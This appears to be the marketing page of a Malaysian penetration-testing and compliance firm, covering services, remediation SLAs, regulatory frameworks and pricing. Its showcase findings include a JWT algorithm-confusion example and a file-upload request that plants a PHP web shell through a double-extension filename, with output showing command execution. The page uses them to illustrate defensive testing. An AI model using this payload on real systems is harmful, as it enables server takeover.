Manual penetration testing in Malaysia by certified consultants, then structured remediation and compliance evidence in one place. Findings carry CVSS ratings, owners and verification history.
Manual Exploitation Queue · Click a finding to inspect
alg="HS256" signed with public RSA key → 200 OK (role: "org_admin") · Fixed in PR #418, retested 48h later.
Offensive security
Every engagement combines manual testing, evidence, remediation guidance and an included retest.
Web, mobile, API, cloud, network and wireless — manual-led, PTES and OWASP WSTG methodology, CVSS-scored findings with proof of concept.
Full attack-path work: perimeter recon, lateral movement, social engineering and physical, scoped with rules of engagement.
Incident-driven review of what happened, with chain-of-custody handling for anything that may end up in front of a regulator.
Continuous external exposure monitoring plus recurring scanning with human verification, so the queue is real findings only.
Gap baselines and audit preparation for RMiT, ISO 27001, PDPA, PCI DSS, SOC 2 and Cyber Security Act readiness.
MDR and SOC-as-a-service with 24/7 monitoring and threat intelligence including dark-web brand exposure.
Manual penetration testing
Every verified finding includes its CVSS v4 vector, reproducible evidence, remediation guidance and a live SLA clock.
Unauthenticated RCE via file upload
9.8
CVSS v4
POST /v1/documents HTTP/1.1
Content-Type: multipart/form-data
filename="report.pdf.phtml"
<?php system($_GET[0]); ?>
> HTTP/1.1 201 Created
> uid=33(www-data) gid=33(www-data)nCrypt Radar
Findings, controls, evidence and audit access in one secure workspace — without spreadsheet archaeology.
Critical 24 hours, high 7 days, medium 30, low 90 — measured from the moment the finding lands, not from when someone reads the report.
Every artefact fingerprinted on upload so an auditor can prove what was collected and when.
Automated tests re-evaluate your controls daily; a failing test marks the control it maps to as non-compliant.
Read-only rooms for your auditor and your own customers, instead of emailing PDFs around.
Compliance posture
Controls mapped once, reused across frameworks
How engagement works
Click any stage below to inspect the live engineering artefacts produced during your engagement.
Written scope, rules of engagement, and fixed MYR fee before day one.
Target Estate
Web App + REST API + Cloud IAM
Testing Methodology
PTES · OWASP WSTG · NIST 800-115
Regulatory Alignment
BNM RMiT 10.49 · PDPA · ISO 27001
Commercials
Fixed MYR fee · 90-day free retest
Tell us what needs testing and we come back with a fixed fee within 48 hours — no hourly estimates.
Hundreds
Engagements delivered
Across regulated sectors since 2020
OSCP
Certified consultants
Plus CEH; CREST-aligned methodology
48h
Scoped and quoted
Fixed fee after scoping
GMT+8
Local delivery
MYR pricing, BM and EN reporting
Compliance mapping
Collect evidence once, map it to Malaysian and global requirements, and keep the audit trail live.
Target Regulatory / Assurance Standard
Board Technology Risk Summary + Clause-Mapped Pentest & Retest Register
Independent penetration testing of critical financial & customer-facing systems
Remediation SLA tracking & verified closure of Critical/High vulnerabilities
Continuous cybersecurity monitoring, detection & incident response readiness
Mandatory for MY banks
Risk Management in Technology for licensed financial institutions, banks, DFIs and digital insurers.
7 mandatory principles
Personal Data Protection Act 2010 and the 2025 amendments, for data controllers and processors in Malaysia.
Akta 854
National Cyber Security Agency compliance for National Critical Information Infrastructure entities.
93 Annex A controls
Information Security Management System certification readiness with automated evidence collection.
Automated 24/7 checks
Trust Services Criteria — security, availability, confidentiality and privacy — for global enterprise deals.
6 control objectives
Payment Card Industry Data Security Standard for merchants and payment service providers in ASEAN.
Platform pricing
Start with one framework, then reuse the same controls and evidence as requirements grow.
One framework, continuous monitoring, and the trust room.
Multi-framework, annual pentest included, auditor access.
For regulated teams with their own auditors and SLAs.
Pentest scoping
Choose what needs testing. We will validate the assumptions, fee and dates with you in writing before work starts.
Typical for this shape: one window, findings raised as they're confirmed, retest 2 weeks after sign-off.
Send this scopeStraight answers
Tell us the estate and the deadline. An engineer will come back with scope, fee and dates. Scoped in 48 hours.